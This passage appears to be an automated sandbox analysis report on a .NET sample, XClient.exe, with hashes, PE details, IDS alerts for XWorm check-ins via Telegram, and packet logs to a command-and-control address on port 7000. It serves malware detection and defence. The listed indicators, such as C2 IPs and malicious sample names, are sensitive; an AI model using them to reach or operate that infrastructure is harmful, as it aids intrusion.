	2.exe	Get hash	malicious	AsyncRAT	Browse	216.105.171.163
	dKMlbDZXP3.elf	Get hash	malicious	Mirai	Browse	216.52.183.163
	build.hta	Get hash	malicious	Quasar	Browse	64.42.179.59
	build.exe	Get hash	malicious	Quasar	Browse	64.42.179.59
	Replace.exe	Get hash	malicious	Unknown	Browse	74.201.73.52

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	hoEtvOOrYH.exe	Get hash	malicious	SmokeLoader	Browse	149.154.167.220
	web44.mp4.hta	Get hash	malicious	LummaC	Browse	149.154.167.220
	random.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	eXbhgU9.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	Supplier.bat	Get hash	malicious	Unknown	Browse	149.154.167.220
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	149.154.167.220
	NEW-DRAWING-SHEET.bat	Get hash	malicious	Unknown	Browse	149.154.167.220
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	lumma.ps1	Get hash	malicious	LummaC	Browse	149.154.167.220

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.598050581972324
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	XClient.exe
File size:	40'960 bytes
MD5:	ca1b3f03551f41b8c83217c3af2b0d3c
SHA1:	7cebd14139aad3b194080a7210c78a6587de1de5
SHA256:	e62ef733237ababe82f6b2109c70159744994515bc941b8ed025de10bb8aa624
SHA512:	c2044ae1a0b76c02ac8952fd205cbcf3ff1a9dbb491af1e9a18d7b212bdedd7d22fda7e3ba8b081b1279ae7d6e8951c2008eb79c9227a0c5f6a98c209c9ac10b
SSDEEP:	768:I7tEWUj10f2kgAWMLxOc2O5Ft9jwO+hdFuk:aKjPIV2wFt9jwO+3Ek
TLSH:	A0034C04B7E14626DAEE6BF019F366060630E617DD17EB8E1CD499DA1B3BA80CD413E6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...o.rg................................. ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x40b50e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6772CD6F [Mon Dec 30 16:42:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb4b8	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x4d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x9514	0x9600	5764ca3132be3244f35079ef92569dc4	False	0.49747395833333335	data	5.719926020626053	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x4d8	0x600	2472af5ddbb53779b7381f16b8b9407b	False	0.3756510416666667	data	3.7216503306685733	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe000	0xc	0x200	e4691ef7dae40ff5e0b74653525043d4	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xc0a0	0x244	data			0.4724137931034483
RT_MANIFEST	0xc2e8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-30T20:13:41.777567+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.16	49702	149.154.167.220	443	TCP
2024-12-30T20:13:41.777567+0100	2853685	ETPRO MALWARE Win32/XWorm Checkin via Telegram	1	192.168.2.16	49702	149.154.167.220	443	TCP
2024-12-30T20:14:59.749315+0100	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.16	49733	144.48.105.119	7000	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 20:13:40.805891991 CET	49702	443	192.168.2.16	149.154.167.220
Dec 30, 2024 20:13:40.805927992 CET	443	49702	149.154.167.220	192.168.2.16
Dec 30, 2024 20:13:40.806025982 CET	49702	443	192.168.2.16	149.154.167.220
Dec 30, 2024 20:13:40.820647001 CET	49702	443	192.168.2.16	149.154.167.220
Dec 30, 2024 20:13:40.820688963 CET	443	49702	149.154.167.220	192.168.2.16
Dec 30, 2024 20:13:41.532702923 CET	443	49702	149.154.167.220	192.168.2.16
Dec 30, 2024 20:13:41.532816887 CET	49702	443	192.168.2.16	149.154.167.220
Dec 30, 2024 20:13:41.537188053 CET	49702	443	192.168.2.16	149.154.167.220
Dec 30, 2024 20:13:41.537219048 CET	443	49702	149.154.167.220	192.168.2.16
Dec 30, 2024 20:13:41.537647009 CET	443	49702	149.154.167.220	192.168.2.16
Dec 30, 2024 20:13:41.593182087 CET	49702	443	192.168.2.16	149.154.167.220
Dec 30, 2024 20:13:41.595483065 CET	49702	443	192.168.2.16	149.154.167.220
Dec 30, 2024 20:13:41.643332005 CET	443	49702	149.154.167.220	192.168.2.16
Dec 30, 2024 20:13:41.777589083 CET	443	49702	149.154.167.220	192.168.2.16
Dec 30, 2024 20:13:41.777645111 CET	443	49702	149.154.167.220	192.168.2.16
Dec 30, 2024 20:13:41.777767897 CET	49702	443	192.168.2.16	149.154.167.220
Dec 30, 2024 20:13:41.856561899 CET	49702	443	192.168.2.16	149.154.167.220
Dec 30, 2024 20:13:42.002224922 CET	49703	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:42.007117987 CET	7000	49703	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:42.007282972 CET	49703	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:42.050957918 CET	49703	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:42.055802107 CET	7000	49703	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:43.602611065 CET	7000	49703	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:43.602719069 CET	49703	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:45.549318075 CET	49703	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:45.551016092 CET	49706	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:45.554155111 CET	7000	49703	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:45.555876970 CET	7000	49706	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:45.555967093 CET	49706	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:45.572228909 CET	49706	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:45.577008963 CET	7000	49706	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:47.104125977 CET	7000	49706	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:47.104212046 CET	49706	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:49.395411968 CET	49706	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:49.396564960 CET	49711	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:49.400299072 CET	7000	49706	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:49.401405096 CET	7000	49711	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:49.401599884 CET	49711	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:49.417012930 CET	49711	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:49.421757936 CET	7000	49711	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:51.103070974 CET	7000	49711	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:51.103166103 CET	49711	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:52.800225973 CET	49712	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:52.800228119 CET	49711	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:52.805123091 CET	7000	49711	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:52.805161953 CET	7000	49712	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:52.807154894 CET	49712	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:52.823163033 CET	49712	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:52.827982903 CET	7000	49712	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:54.368104935 CET	7000	49712	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:54.368208885 CET	49712	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:56.956332922 CET	49712	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:56.957577944 CET	49713	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:56.961316109 CET	7000	49712	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:56.962450027 CET	7000	49713	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:56.962532043 CET	49713	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:56.979473114 CET	49713	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:13:56.984317064 CET	7000	49713	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:58.507014990 CET	7000	49713	144.48.105.119	192.168.2.16
Dec 30, 2024 20:13:58.507253885 CET	49713	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:00.807307005 CET	49713	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:00.808399916 CET	49714	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:00.812304020 CET	7000	49713	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:00.813250065 CET	7000	49714	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:00.813349009 CET	49714	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:00.828598976 CET	49714	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:00.833549976 CET	7000	49714	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:02.352765083 CET	7000	49714	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:02.352843046 CET	49714	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:03.957310915 CET	49714	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:03.958199024 CET	49715	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:03.962292910 CET	7000	49714	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:03.963156939 CET	7000	49715	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:03.963258982 CET	49715	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:03.977523088 CET	49715	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:03.982350111 CET	7000	49715	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:05.618236065 CET	7000	49715	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:05.618345022 CET	49715	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:07.380345106 CET	49715	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:07.381505966 CET	49716	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:07.385282993 CET	7000	49715	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:07.386409044 CET	7000	49716	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:07.386504889 CET	49716	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:07.402076960 CET	49716	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:07.406990051 CET	7000	49716	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:08.931176901 CET	7000	49716	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:08.931334019 CET	49716	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:11.215478897 CET	49716	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:11.216619015 CET	49717	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:11.220448971 CET	7000	49716	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:11.221532106 CET	7000	49717	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:11.221631050 CET	49717	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:11.237302065 CET	49717	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:11.242134094 CET	7000	49717	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:12.856436968 CET	7000	49717	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:12.856658936 CET	49717	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:16.776381969 CET	49717	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:16.777482033 CET	49718	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:16.781394005 CET	7000	49717	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:16.782377005 CET	7000	49718	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:16.782468081 CET	49718	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:16.799046040 CET	49718	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:16.803841114 CET	7000	49718	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:18.341010094 CET	7000	49718	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:18.341170073 CET	49718	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:20.434417009 CET	49718	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:20.435575962 CET	49719	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:20.439467907 CET	7000	49718	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:20.440432072 CET	7000	49719	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:20.440524101 CET	49719	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:20.455895901 CET	49719	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:20.460700035 CET	7000	49719	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:21.993482113 CET	7000	49719	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:21.993593931 CET	49719	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:22.847409010 CET	49719	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:22.848387003 CET	49720	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:22.852339029 CET	7000	49719	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:22.853358984 CET	7000	49720	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:22.853456974 CET	49720	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:22.868463993 CET	49720	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:22.873266935 CET	7000	49720	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:24.417490005 CET	7000	49720	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:24.417706966 CET	49720	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:26.276384115 CET	49720	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:26.277167082 CET	49722	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:26.281523943 CET	7000	49720	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:26.282035112 CET	7000	49722	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:26.282124043 CET	49722	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:26.296772957 CET	49722	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:26.301681995 CET	7000	49722	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:27.839638948 CET	7000	49722	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:27.839735031 CET	49722	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:28.914414883 CET	49722	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:28.915575027 CET	49723	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:28.919363976 CET	7000	49722	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:28.920500994 CET	7000	49723	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:28.920594931 CET	49723	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:28.935609102 CET	49723	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:28.940433025 CET	7000	49723	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:30.479022980 CET	7000	49723	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:30.479135990 CET	49723	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:31.135540962 CET	49723	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:31.136390924 CET	49724	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:31.141670942 CET	7000	49723	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:31.143775940 CET	7000	49724	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:31.143873930 CET	49724	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:31.157807112 CET	49724	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:31.162667990 CET	7000	49724	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:32.696366072 CET	7000	49724	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:32.696432114 CET	49724	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:32.920411110 CET	49724	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:32.921252966 CET	49725	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:32.925323963 CET	7000	49724	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:32.926135063 CET	7000	49725	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:32.926230907 CET	49725	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:32.940151930 CET	49725	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:32.945009947 CET	7000	49725	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:34.511468887 CET	7000	49725	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:34.511548042 CET	49725	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:35.093411922 CET	49725	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:35.094355106 CET	49726	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:35.098423958 CET	7000	49725	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:35.099220037 CET	7000	49726	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:35.099297047 CET	49726	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:35.112306118 CET	49726	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:35.117207050 CET	7000	49726	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:36.775485039 CET	7000	49726	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:36.775569916 CET	49726	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:37.301428080 CET	49726	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:37.302191973 CET	49727	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:37.306344032 CET	7000	49726	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:37.307105064 CET	7000	49727	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:37.307188034 CET	49727	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:37.321789980 CET	49727	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:37.326611042 CET	7000	49727	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:38.858503103 CET	7000	49727	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:38.858580112 CET	49727	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:39.474515915 CET	49727	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:39.475229979 CET	49728	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:39.479537010 CET	7000	49727	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:39.480074883 CET	7000	49728	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:39.480165958 CET	49728	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:39.495151997 CET	49728	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:39.500082970 CET	7000	49728	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:41.027615070 CET	7000	49728	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:41.027694941 CET	49728	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:41.120405912 CET	49728	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:41.121459007 CET	49729	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:41.125233889 CET	7000	49728	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:41.126382113 CET	7000	49729	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:41.126462936 CET	49729	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:41.139780045 CET	49729	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:41.144637108 CET	7000	49729	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:42.665252924 CET	7000	49729	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:42.665429115 CET	49729	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:42.686512947 CET	49729	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:42.687299013 CET	49730	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:42.691345930 CET	7000	49729	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:42.692167997 CET	7000	49730	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:42.692260027 CET	49730	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:42.709459066 CET	49730	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:42.714360952 CET	7000	49730	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:44.242203951 CET	7000	49730	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:44.242296934 CET	49730	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:48.982522964 CET	49730	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:48.984756947 CET	49731	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:48.987730980 CET	7000	49730	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:48.989849091 CET	7000	49731	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:48.989923000 CET	49731	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:49.006444931 CET	49731	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:49.011411905 CET	7000	49731	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:49.051316023 CET	49731	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:49.056278944 CET	7000	49731	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:49.062597036 CET	49731	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:49.067517042 CET	7000	49731	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:49.094571114 CET	49731	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:49.099431992 CET	7000	49731	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:49.110528946 CET	49731	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:49.115351915 CET	7000	49731	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:49.126528978 CET	49731	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:49.131373882 CET	7000	49731	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:49.142543077 CET	49731	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:49.147351027 CET	7000	49731	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:49.174532890 CET	49731	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:49.179307938 CET	7000	49731	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:49.399318933 CET	49731	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:49.608829975 CET	7000	49731	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:50.635099888 CET	7000	49731	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:50.635174036 CET	49731	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:54.398488998 CET	49731	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:54.399661064 CET	49732	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:54.403538942 CET	7000	49731	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:54.404541969 CET	7000	49732	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:54.404633999 CET	49732	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:54.419476032 CET	49732	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:54.424274921 CET	7000	49732	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:54.430996895 CET	49732	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:54.436326981 CET	7000	49732	144.48.105.119	192.168.2.16
